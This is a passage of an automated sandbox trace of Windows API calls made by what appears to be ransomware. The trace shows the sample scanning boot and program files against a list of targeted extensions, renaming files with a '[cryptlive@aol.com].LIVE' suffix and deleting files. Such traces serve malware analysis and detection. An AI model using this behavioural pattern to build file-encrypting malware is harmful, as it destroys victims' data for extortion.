maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.786] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0053.787] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0053.787] lstrlenW (lpString=".doc") returned 4 [0053.787] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.787] lstrlenW (lpString=".docx") returned 5 [0053.787] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0053.787] lstrlenW (lpString=".pdf") returned 4 [0053.787] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.787] lstrlenW (lpString=".xls") returned 4 [0053.787] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.787] lstrlenW (lpString=".xlsx") returned 5 [0053.787] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0053.787] lstrlenW (lpString=".ppt") returned 4 [0053.787] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.787] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0053.787] lstrlenW (lpString=".zip") returned 4 [0053.787] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.787] lstrlenW (lpString=".rar") returned 4 [0053.787] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.787] lstrlenW (lpString=".bz2") returned 4 [0053.787] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.787] lstrlenW (lpString=".7z") returned 3 [0053.787] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.787] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png") returned 70 [0053.787] lstrlenW (lpString=".dbf") returned 4 [0053.787] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 1 Thread: id = 12 os_tid = 0x42c [0036.211] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x6009e0 [0036.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x3700048 [0036.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705b8 [0036.212] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573358 [0036.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705d0 [0036.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3800020 [0036.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705e8 [0036.213] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5705e8, Size=0x20) returned 0x555dc8 [0036.213] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5705e8 [0036.213] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5705e8, Size=0x20) returned 0x555df0 [0036.213] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.213] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.213] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff58 | out: OldValue=0x2d8ff58*=0x0) returned 1 [0036.213] lstrlenW (lpString="kernel32.dll") returned 12 [0036.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.213] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.214] Sleep (dwMilliseconds=0x64) [0036.338] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.996] lstrcmpiW (lpString1=".ttf", lpString2=".LIVE") returned 1 [0036.996] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0036.996] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.073] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1984228) returned 1 [0037.073] CloseHandle (hObject=0x16c) returned 1 [0037.073] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0037.073] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.073] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0037.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.073] lstrlenW (lpString=".doc") returned 4 [0037.073] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.073] lstrlenW (lpString=".docx") returned 5 [0037.073] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.073] lstrlenW (lpString=".pdf") returned 4 [0037.073] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.073] lstrlenW (lpString=".xls") returned 4 [0037.073] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.073] lstrlenW (lpString=".xlsx") returned 5 [0037.073] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.073] lstrlenW (lpString=".ppt") returned 4 [0037.073] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.073] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.073] lstrlenW (lpString=".zip") returned 4 [0037.073] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.073] lstrlenW (lpString=".rar") returned 4 [0037.073] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".bz2") returned 4 [0037.074] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".7z") returned 3 [0037.074] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString=".dbf") returned 4 [0037.074] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString=".1cd") returned 4 [0037.074] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString=".jpg") returned 4 [0037.074] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString=".doc") returned 4 [0037.074] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".docx") returned 5 [0037.074] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0037.074] lstrlenW (lpString=".pdf") returned 4 [0037.074] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".xls") returned 4 [0037.074] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0037.074] lstrlenW (lpString=".xlsx") returned 5 [0037.074] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0037.074] lstrlenW (lpString=".ppt") returned 4 [0037.074] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.074] lstrlenW (lpString=".zip") returned 4 [0037.074] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0037.074] lstrlenW (lpString=".rar") returned 4 [0037.074] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".bz2") returned 4 [0037.074] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0037.074] lstrlenW (lpString=".7z") returned 3 [0037.075] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0037.075] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.075] lstrlenW (lpString=".dbf") returned 4 [0037.075] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0037.075] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.075] lstrlenW (lpString=".1cd") returned 4 [0037.075] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0037.075] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0037.075] lstrlenW (lpString=".jpg") returned 4 [0037.075] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0037.075] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.075] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.075] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.075] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=88144) returned 1 [0037.075] CloseHandle (hObject=0x16c) returned 1 [0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0037.075] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.075] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".doc") returned 4 [0037.076] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.076] lstrlenW (lpString=".docx") returned 5 [0037.076] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.076] lstrlenW (lpString=".pdf") returned 4 [0037.076] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".xls") returned 4 [0037.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".xlsx") returned 5 [0037.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.076] lstrlenW (lpString=".ppt") returned 4 [0037.076] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".zip") returned 4 [0037.076] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".rar") returned 4 [0037.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.076] lstrlenW (lpString=".bz2") returned 4 [0037.076] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.076] lstrlenW (lpString=".7z") returned 3 [0037.076] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".dbf") returned 4 [0037.076] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".1cd") returned 4 [0037.076] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".jpg") returned 4 [0037.076] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.076] lstrlenW (lpString=".doc") returned 4 [0037.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.077] lstrlenW (lpString=".docx") returned 5 [0037.077] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".pdf") returned 4 [0037.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".xls") returned 4 [0037.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".xlsx") returned 5 [0037.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.077] lstrlenW (lpString=".ppt") returned 4 [0037.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.077] lstrlenW (lpString=".zip") returned 4 [0037.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".rar") returned 4 [0037.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.077] lstrlenW (lpString=".bz2") returned 4 [0037.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.077] lstrlenW (lpString=".7z") returned 3 [0037.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.077] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.077] lstrlenW (lpString=".dbf") returned 4 [0037.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.077] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.077] lstrlenW (lpString=".1cd") returned 4 [0037.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.077] lstrlenW (lpString="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0037.077] lstrlenW (lpString=".jpg") returned 4 [0037.077] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.077] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.078] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.078] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.078] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=90704) returned 1 [0037.078] CloseHandle (hObject=0x16c) returned 1 [0037.078] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0037.078] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.078] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.078] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.078] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.078] lstrlenW (lpString=".doc") returned 4 [0037.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.078] lstrlenW (lpString=".docx") returned 5 [0037.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.078] lstrlenW (lpString=".pdf") returned 4 [0037.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.078] lstrlenW (lpString=".xls") returned 4 [0037.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.078] lstrlenW (lpString=".xlsx") returned 5 [0037.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.078] lstrlenW (lpString=".ppt") returned 4 [0037.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.078] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".zip") returned 4 [0037.079] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString=".rar") returned 4 [0037.079] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString=".bz2") returned 4 [0037.079] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.079] lstrlenW (lpString=".7z") returned 3 [0037.079] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".dbf") returned 4 [0037.079] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".1cd") returned 4 [0037.079] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".jpg") returned 4 [0037.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".doc") returned 4 [0037.079] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.079] lstrlenW (lpString=".docx") returned 5 [0037.079] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.079] lstrlenW (lpString=".pdf") returned 4 [0037.079] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString=".xls") returned 4 [0037.079] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString=".xlsx") returned 5 [0037.079] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.079] lstrlenW (lpString=".ppt") returned 4 [0037.079] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.079] lstrlenW (lpString=".zip") returned 4 [0037.079] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.079] lstrlenW (lpString=".rar") returned 4 [0037.080] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.080] lstrlenW (lpString=".bz2") returned 4 [0037.080] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.080] lstrlenW (lpString=".7z") returned 3 [0037.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.080] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.080] lstrlenW (lpString=".dbf") returned 4 [0037.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.080] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.080] lstrlenW (lpString=".1cd") returned 4 [0037.080] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.080] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0037.080] lstrlenW (lpString=".jpg") returned 4 [0037.080] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.080] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.080] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.080] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.080] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=90704) returned 1 [0037.080] CloseHandle (hObject=0x16c) returned 1 [0037.080] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0037.080] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.081] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString=".doc") returned 4 [0037.081] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.081] lstrlenW (lpString=".docx") returned 5 [0037.081] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.081] lstrlenW (lpString=".pdf") returned 4 [0037.081] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.081] lstrlenW (lpString=".xls") returned 4 [0037.081] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.081] lstrlenW (lpString=".xlsx") returned 5 [0037.081] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.081] lstrlenW (lpString=".ppt") returned 4 [0037.081] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString=".zip") returned 4 [0037.081] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.081] lstrlenW (lpString=".rar") returned 4 [0037.081] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.081] lstrlenW (lpString=".bz2") returned 4 [0037.081] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.081] lstrlenW (lpString=".7z") returned 3 [0037.081] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString=".dbf") returned 4 [0037.081] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString=".1cd") returned 4 [0037.081] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.081] lstrlenW (lpString=".jpg") returned 4 [0037.081] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.081] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString=".doc") returned 4 [0037.082] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.082] lstrlenW (lpString=".docx") returned 5 [0037.082] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.082] lstrlenW (lpString=".pdf") returned 4 [0037.082] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.082] lstrlenW (lpString=".xls") returned 4 [0037.082] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.082] lstrlenW (lpString=".xlsx") returned 5 [0037.082] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.082] lstrlenW (lpString=".ppt") returned 4 [0037.082] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.082] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString=".zip") returned 4 [0037.082] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.082] lstrlenW (lpString=".rar") returned 4 [0037.082] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.082] lstrlenW (lpString=".bz2") returned 4 [0037.082] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.082] lstrlenW (lpString=".7z") returned 3 [0037.082] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.082] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString=".dbf") returned 4 [0037.082] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.082] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString=".1cd") returned 4 [0037.082] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.082] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0037.082] lstrlenW (lpString=".jpg") returned 4 [0037.082] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.083] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0037.083] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.083] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0037.083] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=90176) returned 1 [0037.083] CloseHandle (hObject=0x16c) returned 1 [0037.083] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0037.083] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: 